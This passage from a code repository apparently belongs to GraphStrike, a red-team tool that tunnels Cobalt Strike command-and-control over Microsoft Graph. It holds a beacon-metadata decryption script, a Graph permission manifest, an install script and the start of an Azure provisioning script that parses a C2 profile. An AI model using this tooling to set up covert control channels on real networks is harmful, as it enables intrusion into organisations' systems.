variable in variablesstring.split(separator): 129 | name, value = VariableNameValue(variable) 130 | self.dVariables[name] = value 131 | 132 | def SetVariable(self, name, value): 133 | self.dVariables[name] = value 134 | 135 | def Instantiate(self, astring): 136 | for key, value in self.dVariables.items(): 137 | astring = astring.replace('%' + key + '%', value) 138 | return astring 139 | 140 | class cOutput(): 141 | def __init__(self, filenameOption=None, binary=False): 142 | self.starttime = time.time() 143 | self.filenameOption = filenameOption 144 | self.separateFiles = False 145 | self.progress = False 146 | self.console = False 147 | self.head = False 148 | self.headCounter = 0 149 | self.tail = False 150 | self.tailQueue = [] 151 | self.STDOUT = 'STDOUT' 152 | self.fOut = None 153 | self.oCsvWriter = None 154 | self.rootFilenames = {} 155 | self.binary = binary 156 | if self.binary: 157 | self.fileoptions = 'wb' 158 | else: 159 | self.fileoptions = 'w' 160 | self.dReplacements = {} 161 | 162 | def Replace(self, line): 163 | for key, value in self.dReplacements.items(): 164 | line = line.replace(key, value) 165 | return line 166 | 167 | def Open(self, binary=False): 168 | if self.fOut != None: 169 | return 170 | 171 | if binary: 172 | self.fileoptions = 'wb' 173 | else: 174 | self.fileoptions = 'w' 175 | 176 | if self.filenameOption: 177 | if self.ParseHash(self.filenameOption): 178 | if not self.separateFiles and self.filename != '': 179 | self.fOut = open(self.filename, self.fileoptions) 180 | elif self.filenameOption != '': 181 | self.fOut = open(self.filenameOption, self.fileoptions) 182 | else: 183 | self.fOut = self.STDOUT 184 | 185 | def ParseHash(self, option): 186 | if option.startswith('#'): 187 | position = self.filenameOption.find('#', 1) 188 | if position > 1: 189 | switches = self.filenameOption[1:position] 190 | self.filename = self.filenameOption[position + 1:] 191 | for switch in switches: 192 | if switch == 's': 193 | self.separateFiles = True 194 | elif switch == 'p': 195 | self.progress = True 196 | elif switch == 'c': 197 | self.console = True 198 | elif switch == 'l': 199 | pass 200 | elif switch == 'g': 201 | if self.filename != '': 202 | extra = self.filename + '-' 203 | else: 204 | extra = '' 205 | self.filename = '%s-%s%s.txt' % (os.path.splitext(os.path.basename(sys.argv[0]))[0], extra, self.FormatTime()) 206 | elif switch == 'h': 207 | self.head = True 208 | elif switch == 't': 209 | self.tail = True 210 | else: 211 | return False 212 | return True 213 | return False 214 | 215 | @staticmethod 216 | def FormatTime(epoch=None): 217 | if epoch == None: 218 | epoch = time.time() 219 | return '%04d%02d%02d-%02d%02d%02d' % time.localtime(epoch)[0:6] 220 | 221 | def RootUnique(self, root): 222 | if not root in self.rootFilenames: 223 | self.rootFilenames[root] = None 224 | return root 225 | iter = 1 226 | while True: 227 | newroot = '%s_%04d' % (root, iter) 228 | if not newroot in self.rootFilenames: 229 | self.rootFilenames[newroot] = None 230 | return newroot 231 | iter += 1 232 | 233 | def LineSub(self, line, eol): 234 | line = self.Replace(line) 235 | self.Open() 236 | if self.fOut == self.STDOUT or self.console: 237 | try: 238 | print(line, end=eol) 239 | except UnicodeEncodeError: 240 | encoding = sys.stdout.encoding 241 | print(line.encode(encoding, errors='backslashreplace').decode(encoding), end=eol) 242 | # sys.stdout.flush() 243 | if self.fOut != self.STDOUT: 244 | self.fOut.write(line + '\n') 245 | self.fOut.flush() 246 | 247 | def Line(self, line, eol='\n'): 248 | if self.head: 249 | if self.headCounter < 10: 250 | self.LineSub(line, eol) 251 | elif self.tail: 252 | self.tailQueue = self.tailQueue[-9:] + [[line, eol]] 253 | self.headCounter += 1 254 | elif self.tail: 255 | self.tailQueue = self.tailQueue[-9:] + [[line, eol]] 256 | else: 257 | self.LineSub(line, eol) 258 | 259 | def LineTimestamped(self, line): 260 | self.Line('%s: %s' % (self.FormatTime(), line)) 261 | 262 | def WriteBinary(self, data): 263 | self.Open(True) 264 | if self.fOut != self.STDOUT: 265 | self.fOut.write(data) 266 | self.fOut.flush() 267 | else: 268 | IfWIN32SetBinary(sys.stdout) 269 | StdoutWriteChunked(data) 270 | 271 | def CSVWriteRow(self, row): 272 | if self.oCsvWriter == None: 273 | self.StringIOCSV = StringIO() 274 | # self.oCsvWriter = csv.writer(self.fOut) 275 | self.oCsvWriter = csv.writer(self.StringIOCSV) 276 | self.oCsvWriter.writerow(row) 277 | self.Line(self.StringIOCSV.getvalue(), '') 278 | self.StringIOCSV.truncate(0) 279 | self.StringIOCSV.seek(0) 280 | 281 | def Filename(self, filename, index, total): 282 | self.separateFilename = filename 283 | if self.progress: 284 | if index == 0: 285 | eta = '' 286 | else: 287 | seconds = int(float((time.time() - self.starttime) / float(index)) * float(total - index)) 288 | eta = 'estimation %d seconds left, finished %s ' % (seconds, self.FormatTime(time.time() + seconds)) 289 | PrintError('%d/%d %s%s' % (index + 1, total, eta, self.separateFilename)) 290 | if self.separateFiles and self.filename != '': 291 | oFilenameVariables = cVariables() 292 | oFilenameVariables.SetVariable('f', self.separateFilename) 293 | basename = os.path.basename(self.separateFilename) 294 | oFilenameVariables.SetVariable('b', basename) 295 | oFilenameVariables.SetVariable('d', os.path.dirname(self.separateFilename)) 296 | root, extension = os.path.splitext(basename) 297 | oFilenameVariables.SetVariable('r', root) 298 | oFilenameVariables.SetVariable('ru', self.RootUnique(root)) 299 | oFilenameVariables.SetVariable('e', extension) 300 | 301 | self.Close() 302 | self.fOut = open(oFilenameVariables.Instantiate(self.filename), self.fileoptions) 303 | 304 | def Close(self): 305 | if self.head and self.tail and len(self.tailQueue) > 0: 306 | self.LineSub('...', '\n') 307 | 308 | for line, eol in self.tailQueue: 309 | self.LineSub(line, eol) 310 | 311 | self.headCounter = 0 312 | self.tailQueue = [] 313 | 314 | if self.fOut != self.STDOUT: 315 | self.fOut.close() 316 | self.fOut = None 317 | 318 | def InstantiateCOutput(options): 319 | filenameOption = None 320 | if options.output != '': 321 | filenameOption = options.output 322 | return cOutput(filenameOption) 323 | 324 | def RSAEncrypt(key, data): 325 | oPublicKey = Crypto.PublicKey.RSA.importKey(binascii.a2b_hex(key).rstrip(b'\x00')) 326 | oRSAPublicKey = Crypto.Cipher.PKCS1_v1_5.new(oPublicKey) 327 | ciphertext = oRSAPublicKey.encrypt(data) 328 | ciphertextBASE64 = binascii.b2a_base64(ciphertext).rstrip(b'\n') 329 | return ciphertextBASE64 330 | 331 | def RSADecrypt(key, data): 332 | oPrivateKey = Crypto.PublicKey.RSA.importKey(binascii.a2b_hex(key)) 333 | oRSAPrivateKey = Crypto.Cipher.PKCS1_v1_5.new(oPrivateKey) 334 | ciphertext = data 335 | try: 336 | cleartext = oRSAPrivateKey.decrypt(ciphertext, None) 337 | if cleartext == b'': 338 | return None 339 | except ValueError: 340 | return None 341 | return cleartext 342 | 343 | class cStruct(object): 344 | def __init__(self, data): 345 | self.data = data 346 | self.originaldata = data 347 | 348 | def Unpack(self, format): 349 | formatsize = struct.calcsize(format) 350 | if len(self.data) < formatsize: 351 | raise Exception('Not enough data') 352 | tounpack = self.data[:formatsize] 353 | self.data = self.data[formatsize:] 354 | return struct.unpack(format, tounpack) 355 | 356 | def Truncate(self, length): 357 | self.data = self.data[:length] 358 | 359 | def GetBytes(self, length=None, peek=False): 360 | if length == None: 361 | length = len(self.data) 362 | result = self.data[:length] 363 | if not peek: 364 | self.data = self.data[length:] 365 | return result 366 | 367 | #https://msdn.microsoft.com/en-us/library/windows/desktop/dd317756%28v=vs.85%29.aspx 368 | dCodepages = { 369 | 37: 'IBM EBCDIC US-Canada', 370 | 437: 'OEM United States', 371 | 500: 'IBM EBCDIC International', 372 | 708: 'Arabic (ASMO 708)', 373 | 709: 'Arabic (ASMO-449+, BCON V4)', 374 | 710: 'Arabic - Transparent Arabic', 375 | 720: 'Arabic (Transparent ASMO); Arabic (DOS)', 376 | 737: 'OEM Greek (formerly 437G); Greek (DOS)', 377 | 775: 'OEM Baltic; Baltic (DOS)', 378 | 850: 'OEM Multilingual Latin 1; Western European (DOS)', 379 | 852: 'OEM Latin 2; Central European (DOS)', 380 | 855: 'OEM Cyrillic (primarily Russian)', 381 | 857: 'OEM Turkish; Turkish (DOS)', 382 | 858: 'OEM Multilingual Latin 1 + Euro symbol', 383 | 860: 'OEM Portuguese; Portuguese (DOS)', 384 | 861: 'OEM Icelandic; Icelandic (DOS)', 385 | 862: 'OEM Hebrew; Hebrew (DOS)', 386 | 863: 'OEM French Canadian; French Canadian (DOS)', 387 | 864: 'OEM Arabic; Arabic (864)', 388 | 865: 'OEM Nordic; Nordic (DOS)', 389 | 866: 'OEM Russian; Cyrillic (DOS)', 390 | 869: 'OEM Modern Greek; Greek, Modern (DOS)', 391 | 870: 'IBM EBCDIC Multilingual/ROECE (Latin 2); IBM EBCDIC Multilingual Latin 2', 392 | 874: 'ANSI/OEM Thai (ISO 8859-11); Thai (Windows)', 393 | 875: 'IBM EBCDIC Greek Modern', 394 | 932: 'ANSI/OEM Japanese; Japanese (Shift-JIS)', 395 | 936: 'ANSI/OEM Simplified Chinese (PRC, Singapore); Chinese Simplified (GB2312)', 396 | 949: 'ANSI/OEM Korean (Unified Hangul Code)', 397 | 950: 'ANSI/OEM Traditional Chinese (Taiwan; Hong Kong SAR, PRC); Chinese Traditional (Big5)', 398 | 1026: 'IBM EBCDIC Turkish (Latin 5)', 399 | 1047: 'IBM EBCDIC Latin 1/Open System', 400 | 1140: 'IBM EBCDIC US-Canada (037 + Euro symbol); IBM EBCDIC (US-Canada-Euro)', 401 | 1141: 'IBM EBCDIC Germany (20273 + Euro symbol); IBM EBCDIC (Germany-Euro)', 402 | 1142: 'IBM EBCDIC Denmark-Norway (20277 + Euro symbol); IBM EBCDIC (Denmark-Norway-Euro)', 403 | 1143: 'IBM EBCDIC Finland-Sweden (20278 + Euro symbol); IBM EBCDIC (Finland-Sweden-Euro)', 404 | 1144: 'IBM EBCDIC Italy (20280 + Euro symbol); IBM EBCDIC (Italy-Euro)', 405 | 1145: 'IBM EBCDIC Latin America-Spain (20284 + Euro symbol); IBM EBCDIC (Spain-Euro)', 406 | 1146: 'IBM EBCDIC United Kingdom (20285 + Euro symbol); IBM EBCDIC (UK-Euro)', 407 | 1147: 'IBM EBCDIC France (20297 + Euro symbol); IBM EBCDIC (France-Euro)', 408 | 1148: 'IBM EBCDIC International (500 + Euro symbol); IBM EBCDIC (International-Euro)', 409 | 1149: 'IBM EBCDIC Icelandic (20871 + Euro symbol); IBM EBCDIC (Icelandic-Euro)', 410 | 1200: 'Unicode UTF-16, little endian byte order (BMP of ISO 10646); available only to managed applications', 411 | 1201: 'Unicode UTF-16, big endian byte order; available only to managed applications', 412 | 1250: 'ANSI Central European; Central European (Windows)', 413 | 1251: 'ANSI Cyrillic; Cyrillic (Windows)', 414 | 1252: 'ANSI Latin 1; Western European (Windows)', 415 | 1253: 'ANSI Greek; Greek (Windows)', 416 | 1254: 'ANSI Turkish; Turkish (Windows)', 417 | 1255: 'ANSI Hebrew; Hebrew (Windows)', 418 | 1256: 'ANSI Arabic; Arabic (Windows)', 419 | 1257: 'ANSI Baltic; Baltic (Windows)', 420 | 1258: 'ANSI/OEM Vietnamese; Vietnamese (Windows)', 421 | 1361: 'Korean (Johab)', 422 | 10000: 'MAC Roman; Western European (Mac)', 423 | 10001: 'Japanese (Mac)', 424 | 10002: 'MAC Traditional Chinese (Big5); Chinese Traditional (Mac)', 425 | 10003: 'Korean (Mac)', 426 | 10004: 'Arabic (Mac)', 427 | 10005: 'Hebrew (Mac)', 428 | 10006: 'Greek (Mac)', 429 | 10007: 'Cyrillic (Mac)', 430 | 10008: 'MAC Simplified Chinese (GB 2312); Chinese Simplified (Mac)', 431 | 10010: 'Romanian (Mac)', 432 | 10017: 'Ukrainian (Mac)', 433 | 10021: 'Thai (Mac)', 434 | 10029: 'MAC Latin 2; Central European (Mac)', 435 | 10079: 'Icelandic (Mac)', 436 | 10081: 'Turkish (Mac)', 437 | 10082: 'Croatian (Mac)', 438 | 12000: 'Unicode UTF-32, little endian byte order; available only to managed applications', 439 | 12001: 'Unicode UTF-32, big endian byte order; available only to managed applications', 440 | 20000: 'CNS Taiwan; Chinese Traditional (CNS)', 441 | 20001: 'TCA Taiwan', 442 | 20002: 'Eten Taiwan; Chinese Traditional (Eten)', 443 | 20003: 'IBM5550 Taiwan', 444 | 20004: 'TeleText Taiwan', 445 | 20005: 'Wang Taiwan', 446 | 20105: 'IA5 (IRV International Alphabet No. 5, 7-bit); Western European (IA5)', 447 | 20106: 'IA5 German (7-bit)', 448 | 20107: 'IA5 Swedish (7-bit)', 449 | 20108: 'IA5 Norwegian (7-bit)', 450 | 20127: 'US-ASCII (7-bit)', 451 | 20261: 'T.61', 452 | 20269: 'ISO 6937 Non-Spacing Accent', 453 | 20273: 'IBM EBCDIC Germany', 454 | 20277: 'IBM EBCDIC Denmark-Norway', 455 | 20278: 'IBM EBCDIC Finland-Sweden', 456 | 20280: 'IBM EBCDIC Italy', 457 | 20284: 'IBM EBCDIC Latin America-Spain', 458 | 20285: 'IBM EBCDIC United Kingdom', 459 | 20290: 'IBM EBCDIC Japanese Katakana Extended', 460 | 20297: 'IBM EBCDIC France', 461 | 20420: 'IBM EBCDIC Arabic', 462 | 20423: 'IBM EBCDIC Greek', 463 | 20424: 'IBM EBCDIC Hebrew', 464 | 20833: 'IBM EBCDIC Korean Extended', 465 | 20838: 'IBM EBCDIC Thai', 466 | 20866: 'Russian (KOI8-R); Cyrillic (KOI8-R)', 467 | 20871: 'IBM EBCDIC Icelandic', 468 | 20880: 'IBM EBCDIC Cyrillic Russian', 469 | 20905: 'IBM EBCDIC Turkish', 470 | 20924: 'IBM EBCDIC Latin 1/Open System (1047 + Euro symbol)', 471 | 20932: 'Japanese (JIS 0208-1990 and 0212-1990)', 472 | 20936: 'Simplified Chinese (GB2312); Chinese Simplified (GB2312-80)', 473 | 20949: 'Korean Wansung', 474 | 21025: 'IBM EBCDIC Cyrillic Serbian-Bulgarian', 475 | 21027: '(deprecated)', 476 | 21866: 'Ukrainian (KOI8-U); Cyrillic (KOI8-U)', 477 | 28591: 'ISO 8859-1 Latin 1; Western European (ISO)', 478 | 28592: 'ISO 8859-2 Central European; Central European (ISO)', 479 | 28593: 'ISO 8859-3 Latin 3', 480 | 28594: 'ISO 8859-4 Baltic', 481 | 28595: 'ISO 8859-5 Cyrillic', 482 | 28596: 'ISO 8859-6 Arabic', 483 | 28597: 'ISO 8859-7 Greek', 484 | 28598: 'ISO 8859-8 Hebrew; Hebrew (ISO-Visual)', 485 | 28599: 'ISO 8859-9 Turkish', 486 | 28603: 'ISO 8859-13 Estonian', 487 | 28605: 'ISO 8859-15 Latin 9', 488 | 29001: 'Europa 3', 489 | 38598: 'ISO 8859-8 Hebrew; Hebrew (ISO-Logical)', 490 | 50220: 'ISO 2022 Japanese with no halfwidth Katakana; Japanese (JIS)', 491 | 50221: 'ISO 2022 Japanese with halfwidth Katakana; Japanese (JIS-Allow 1 byte Kana)', 492 | 50222: 'ISO 2022 Japanese JIS X 0201-1989; Japanese (JIS-Allow 1 byte Kana - SO/SI)', 493 | 50225: 'ISO 2022 Korean', 494 | 50227: 'ISO 2022 Simplified Chinese; Chinese Simplified (ISO 2022)', 495 | 50229: 'ISO 2022 Traditional Chinese', 496 | 50930: 'EBCDIC Japanese (Katakana) Extended', 497 | 50931: 'EBCDIC US-Canada and Japanese', 498 | 50933: 'EBCDIC Korean Extended and Korean', 499 | 50935: 'EBCDIC Simplified Chinese Extended and Simplified Chinese', 500 | 50936: 'EBCDIC Simplified Chinese', 501 | 50937: 'EBCDIC US-Canada and Traditional Chinese', 502 | 50939: 'EBCDIC Japanese (Latin) Extended and Japanese', 503 | 51932: 'EUC Japanese', 504 | 51936: 'EUC Simplified Chinese; Chinese Simplified (EUC)', 505 | 51949: 'EUC Korean', 506 | 51950: 'EUC Traditional Chinese', 507 | 52936: 'HZ-GB2312 Simplified Chinese; Chinese Simplified (HZ)', 508 | 54936: 'Windows XP and later: GB18030 Simplified Chinese (4 byte); Chinese Simplified (GB18030)', 509 | 57002: 'ISCII Devanagari', 510 | 57003: 'ISCII Bengali', 511 | 57004: 'ISCII Tamil', 512 | 57005: 'ISCII Telugu', 513 | 57006: 'ISCII Assamese', 514 | 57007: 'ISCII Oriya', 515 | 57008: 'ISCII Kannada', 516 | 57009: 'ISCII Malayalam', 517 | 57010: 'ISCII Gujarati', 518 | 57011: 'ISCII Punjabi', 519 | 65000: 'Unicode (UTF-7)', 520 | 65001: 'Unicode (UTF-8)' 521 | } 522 | 523 | def DecodeMetadata(decrypted, oOutput): 524 | oStruct = cStruct(decrypted) 525 | beef = oStruct.Unpack('>I')[0] 526 | oOutput.Line('Decrypted:') 527 | oOutput.Line('Header: %08x' % beef) 528 | datasize = oStruct.Unpack('>I')[0] 529 | oOutput.Line('Datasize: %08x' % datasize) 530 | oStruct.Truncate(datasize) 531 | rawkey = oStruct.GetBytes(16) 532 | oOutput.Line('Raw key: %s' % binascii.b2a_hex(rawkey).decode()) 533 | sha256hex = hashlib.sha256(rawkey).hexdigest() 534 | aeskey = sha256hex[:32] 535 | hmackey = sha256hex[32:] 536 | oOutput.Line(' aeskey: %s' % aeskey) 537 | oOutput.Line(' hmackey: %s' % hmackey) 538 | charset, charset_oem = oStruct.Unpack('IIHB') 545 | oOutput.Line('bid: %04x %d' % (bid, bid)) 546 | oOutput.Line('pid: %04x %d' % (pid, pid)) 547 | oOutput.Line('port: %d' % port) 548 | oOutput.Line('flags: %02x' % flags) 549 | 550 | peek = oStruct.GetBytes(peek=True) 551 | if not re.match(b'[0-9]+\.[0-9]+\t[0-9]+', peek): 552 | var1, var2, var3, var4, var5, var6 = oStruct.Unpack('>BBHIII') 553 | oOutput.Line('var1: %d' % var1) 554 | oOutput.Line('var2: %d' % var2) 555 | oOutput.Line('var3: %d' % var3) 556 | oOutput.Line('var4: %d' % var4) 557 | oOutput.Line('var5: %d' % var5) 558 | oOutput.Line('var6: %d' % var6) 559 | ipv4 = oStruct.GetBytes(4) 560 | oOutput.Line('Internal IPv4: %s' % '.'.join([str(byte) for byte in ipv4[::-1]])) 561 | 562 | remainder = oStruct.GetBytes() 563 | for field in remainder.split(b'\t'): 564 | oOutput.Line('Field: %s' % field) 565 | oOutput.Line('') 566 | 567 | def GetScriptPath(): 568 | if getattr(sys, 'frozen', False): 569 | return os.path.dirname(sys.executable) 570 | else: 571 | return os.path.dirname(sys.argv[0]) 572 | 573 | def GetJSONData(): 574 | filename = os.path.join(GetScriptPath(), '1768.json') 575 | if not os.path.isfile(filename): 576 | return {} 577 | return json.load(open(filename, 'r')) 578 | 579 | class cCSInstructions(object): 580 | CS_INSTRUCTION_TYPE_INPUT = 'Input' 581 | CS_INSTRUCTION_TYPE_OUTPUT = 'Output' 582 | CS_INSTRUCTION_TYPE_METADATA = 'Metadata' 583 | CS_INSTRUCTION_TYPE_SESSIONID = 'SessionId' 584 | 585 | CS_INSTRUCTION_NONE = 0 586 | CS_INSTRUCTION_APPEND = 1 587 | CS_INSTRUCTION_PREPEND = 2 588 | CS_INSTRUCTION_BASE64 = 3 589 | CS_INSTRUCTION_PRINT = 4 590 | CS_INSTRUCTION_PARAMETER = 5 591 | CS_INSTRUCTION_HEADER = 6 592 | CS_INSTRUCTION_BUILD = 7 593 | CS_INSTRUCTION_NETBIOS = 8 594 | CS_INSTRUCTION_CONST_PARAMETER = 9 595 | CS_INSTRUCTION_CONST_HEADER = 10 596 | CS_INSTRUCTION_NETBIOSU = 11 597 | CS_INSTRUCTION_URI_APPEND = 12 598 | CS_INSTRUCTION_BASE64URL = 13 599 | CS_INSTRUCTION_STRREP = 14 600 | CS_INSTRUCTION_MASK = 15 601 | CS_INSTRUCTION_CONST_HOST_HEADER = 16 602 | 603 | def __init__(self, instructionType, instructions): 604 | self.instructionType = instructionType 605 | self.instructions = instructions 606 | 607 | @staticmethod 608 | def StartsWithGetRemainder(strIn, strStart): 609 | if strIn.startswith(strStart): 610 | return True, strIn[len(strStart):] 611 | else: 612 | return False, None 613 | 614 | @staticmethod 615 | def BASE64URLDecode(data): 616 | paddingLength = 4 - len(data) % 4 617 | if paddingLength <= 2: 618 | data += b'=' * paddingLength 619 | return base64.b64decode(data, b'-_') 620 | 621 | @staticmethod 622 | def NETBIOSDecode(netbios): 623 | dTranslate = { 624 | ord(b'A'): ord(b'0'), 625 | ord(b'B'): ord(b'1'), 626 | ord(b'C'): ord(b'2'), 627 | ord(b'D'): ord(b'3'), 628 | ord(b'E'): ord(b'4'), 629 | ord(b'F'): ord(b'5'), 630 | ord(b'G'): ord(b'6'), 631 | ord(b'H'): ord(b'7'), 632 | ord(b'I'): ord(b'8'), 633 | ord(b'J'): ord(b'9'), 634 | ord(b'K'): ord(b'A'), 635 | ord(b'L'): ord(b'B'), 636 | ord(b'M'): ord(b'C'), 637 | ord(b'N'): ord(b'D'), 638 | ord(b'O'): ord(b'E'), 639 | ord(b'P'): ord(b'F'), 640 | } 641 | return binascii.a2b_hex(bytes([dTranslate[char] for char in netbios])) 642 | 643 | def GetInstructions(self): 644 | for result in self.instructions.split(';'): 645 | match, remainder = __class__.StartsWithGetRemainder(result, '7:%s,' % self.instructionType) 646 | if match: 647 | if self.instructionType in [__class__.CS_INSTRUCTION_TYPE_OUTPUT, __class__.CS_INSTRUCTION_TYPE_METADATA]: 648 | return ','.join(remainder.split(',')[::-1]) 649 | else: 650 | return remainder 651 | return '' 652 | 653 | def ProcessInstructions(self, rawdata): 654 | instructions = self.GetInstructions() 655 | if instructions == '': 656 | instructions = [] 657 | else: 658 | instructions = [instruction for instruction in instructions.split(',')] 659 | data = rawdata 660 | for instruction in instructions: 661 | instruction = instruction.split(':') 662 | opcode = int(instruction[0]) 663 | operands = instruction[1:] 664 | if opcode == __class__.CS_INSTRUCTION_NONE: 665 | pass 666 | elif opcode == __class__.CS_INSTRUCTION_APPEND: 667 | if self.instructionType == __class__.CS_INSTRUCTION_TYPE_METADATA: 668 | data = data[:-len(operands[0])] 669 | else: 670 | data = data[:-int(operands[0])] 671 | elif opcode == __class__.CS_INSTRUCTION_PREPEND: 672 | if self.instructionType == __class__.CS_INSTRUCTION_TYPE_METADATA: 673 | data = data[len(operands[0]):] 674 | else: 675 | data = data[int(operands[0]):] 676 | elif opcode == __class__.CS_INSTRUCTION_BASE64: 677 | data = binascii.a2b_base64(data) 678 | elif opcode == __class__.CS_INSTRUCTION_PRINT: 679 | pass 680 | elif opcode == __class__.CS_INSTRUCTION_PARAMETER: 681 | pass 682 | elif opcode == __class__.CS_INSTRUCTION_HEADER: 683 | pass 684 | elif opcode == __class__.CS_INSTRUCTION_BUILD: 685 | pass 686 | elif opcode == __class__.CS_INSTRUCTION_NETBIOS: 687 | data = __class__.NETBIOSDecode(data.upper()) 688 | elif opcode == __class__.CS_INSTRUCTION_CONST_PARAMETER: 689 | pass 690 | elif opcode == __class__.CS_INSTRUCTION_CONST_HEADER: 691 | pass 692 | elif opcode == __class__.CS_INSTRUCTION_NETBIOSU: 693 | data = __class__.NETBIOSDecode(data) 694 | elif opcode == __class__.CS_INSTRUCTION_URI_APPEND: 695 | pass 696 | elif opcode == __class__.CS_INSTRUCTION_BASE64URL: 697 | data = __class__.BASE64URLDecode(data) 698 | elif opcode == __class__.CS_INSTRUCTION_STRREP: 699 | data = data.replace(operands[0], operands[1]) 700 | elif opcode == __class__.CS_INSTRUCTION_MASK: 701 | xorkey = data[0:4] 702 | ciphertext = data[4:] 703 | data = [] 704 | for iter, value in enumerate(ciphertext): 705 | data.append(value ^ xorkey[iter % 4]) 706 | data = bytes(data) 707 | elif opcode == __class__.CS_INSTRUCTION_CONST_HOST_HEADER: 708 | pass 709 | else: 710 | raise Exception('Unknown instruction opcode: %d' % opcode) 711 | return data 712 | 713 | def DecryptMetadata(arg, options): 714 | oOutput = InstantiateCOutput(options) 715 | 716 | oOutput.Line('Input: %s' % arg) 717 | arg = cCSInstructions(cCSInstructions.CS_INSTRUCTION_TYPE_METADATA, options.transform).ProcessInstructions(arg.encode()) 718 | oOutput.Line('Encrypted metadata: %s' % binascii.b2a_hex(arg).decode()) 719 | 720 | if options.private != '': 721 | decrypted = RSADecrypt(options.private, arg) 722 | if decrypted != None: 723 | DecodeMetadata(decrypted, oOutput) 724 | elif options.file != '': 725 | if javaobj == None: 726 | print('javaobj module required: pip install javaobj-py3') 727 | exit(-1) 728 | pobj = javaobj.load(open(options.file, 'rb')) 729 | privateKey = binascii.b2a_hex(bytes([number & 0xFF for number in pobj.array.value.privateKey.encoded._data])).decode() 730 | decrypted = RSADecrypt(privateKey, arg) 731 | if decrypted != None: 732 | print("Decrypted isn't null!") 733 | DecodeMetadata(decrypted, oOutput) 734 | else: 735 | print("Decrypted is null!") 736 | else: 737 | jsonData = GetJSONData() 738 | for publicKey, dPrivatekey in jsonData['dLookupValues']['7'].items(): 739 | privateKey = dPrivatekey['verbose'] 740 | decrypted = RSADecrypt(privateKey, arg) 741 | if decrypted != None: 742 | DecodeMetadata(decrypted, oOutput) 743 | break 744 | 745 | def Main(): 746 | moredesc = ''' 747 | Source code put in the public domain by Didier Stevens, no Copyright 748 | Use at your own risk 749 | https://DidierStevens.com''' 750 | 751 | oParser = optparse.OptionParser(usage='usage: %prog [options] encrypted_metadata\n' + __description__ + moredesc, version='%prog ' + __version__) 752 | oParser.add_option('-m', '--man', action='store_true', default=False, help='Print manual') 753 | oParser.add_option('-o', '--output', type=str, default='', help='Output to file (# supported)') 754 | oParser.add_option('-p', '--private', default='', help='Private key (hexadecimal)') 755 | oParser.add_option('-f', '--file', default='', help='File with private key') 756 | oParser.add_option('-t', '--transform', type=str, default='7:Metadata,3', help='Transformation instructions') 757 | (options, args) = oParser.parse_args() 758 | 759 | if options.man: 760 | oParser.print_help() 761 | PrintManual() 762 | return 763 | 764 | if len(args) == 0: 765 | oParser.print_help() 766 | return 767 | 768 | for arg in args: 769 | DecryptMetadata(arg, options) 770 | 771 | if __name__ == '__main__': 772 | Main() 773 | -------------------------------------------------------------------------------- /inc/manifest.json: -------------------------------------------------------------------------------- 1 | [{ 2 | "resourceAppId": "00000003-0000-0000-c000-000000000000", 3 | "resourceAccess": [ 4 | { 5 | "id": "9492366f-7969-46a4-8d15-ed1a20078fff", 6 | "type": "Role" 7 | } 8 | ] 9 | }] -------------------------------------------------------------------------------- /setup/install_dependencies.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ $(id -u) != "0" ]; then 4 | echo "You must be the superuser to run this script" >&2 5 | exit 1 6 | fi 7 | 8 | apt-get update 9 | 10 | apt-get -y install nasm 11 | apt-get -y install mingw-w64 12 | apt-get -y install python3-venv 13 | apt-get -y install make -------------------------------------------------------------------------------- /setup/provisioner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import os 5 | 6 | # Add folder containing required imports to path 7 | sys.path.append(f"{os.getcwd()}/../inc") 8 | 9 | # Import our GraphStrike assets 10 | from banner import * 11 | from common import * 12 | 13 | tenantId = None 14 | clientSecret = None 15 | appId = None 16 | siteId = None 17 | driveId = None 18 | access_token = None 19 | sleepTime = None 20 | httpGetPrefix = None 21 | httpPostPrefix = None 22 | csDir = None 23 | bidDelimiter = "pD9-tK" 24 | 25 | METADATA_SCRIPT = "../inc/cs-decrypt-metadata.py" 26 | GRAPHSTRIKE_SCRIPT = "../GraphStrike.py" 27 | 28 | def AzCli (args_str): 29 | args_str = f"{args_str} --only-show-errors" 30 | args = args_str.split() 31 | cli = get_default_cli() 32 | cli.invoke(args, out_file = open(os.devnull, 'w')) 33 | if cli.result.result: 34 | return cli.result.result 35 | elif cli.result.error: 36 | raise cli.result.error 37 | return True 38 | 39 | def DepCheck(command, packageName): 40 | # Check for required dependencies: 41 | p_task(f"Checking to see if {command} is installed...") 42 | if which(f"{command}") is not None: 43 | p_success("SUCCESS!") 44 | else: 45 | p_err("ERROR!", False) 46 | p_err(f"Cannot locate {packageName}, try installing with: apt-get -y install make", True) 47 | 48 | def DeleteApp(appId): 49 | p_task(f"Deleting app with ID: {appId}...") 50 | try: 51 | AzCli(f"ad app delete --id {appId}") 52 | p_success("SUCCESS!") 53 | except: 54 | p_err("ERROR!", False) 55 | p_err(f"Failed to delete app! Try doing so manually through the Azure portal.", True) 56 | 57 | p_success("Successfully cleaned up GraphStrike!") 58 | sys.exit() 59 | 60 | 61 | def provision(): 62 | global access_token 63 | # Check python3 version 64 | CheckVersion() 65 | 66 | # Check that dependencies are installed 67 | DepCheck("make", "make") 68 | DepCheck("nasm", "nasm") 69 | DepCheck("x86_64-w64-mingw32-gcc", "mingw-w64") 70 | 71 | p_task("Parsing Profile...") 72 | 73 | # Use these booleans to know when we have entered each section to trigger on the 'set uri' field within each 74 | bHttpGetBlock = False 75 | bHttpPostBlock = False 76 | with open('../graphstrike.profile', 'r') as f: 77 | for line in f: 78 | if "http-get" in line: 79 | bHttpGetBlock = True 80 | elif "http-post" in line: 81 | bHttpPostBlock = True 82 | 83 | if "set sleeptime" in line: 84 | sleepTime = re.search('"(.*)"', line).group(1) 85 | if "set uri" in line: 86 | if bHttpGetBlock: 87 | httpGetPrefix = re.search('"/(.*)"', line).group(1) 88 | bHttpGetBlock = False 89 | elif bHttpPostBlock: 90 | httpPostPrefix = re.search('"/(.*)"', line).group(1) 91 | bHttpPostBlock = False 92 | f.close() 93 | 94 | if sleepTime != None and bHttpGetBlock != None and bHttpPostBlock != None: 95 | p_success("SUCCESS!") 96 | p_info_plain(f"Found sleepTime: {sleepTime}") 97 | p_info_plain(f"Found httpGetPrefix: {httpGetPrefix}") 98 | p_info_plain(f"Found httpPostPrefix: {httpPostPrefix}") 99 | else: 100 | p_err("ERROR!", False) 101 | if sleepTime == None: 102 | p_err("Could not locate 'set sleeptime' value!", True) 103 | elif httpGetPrefix == None: 104 | p_err("Could not locate http-get block 'set uri' value!", True) 105 | elif 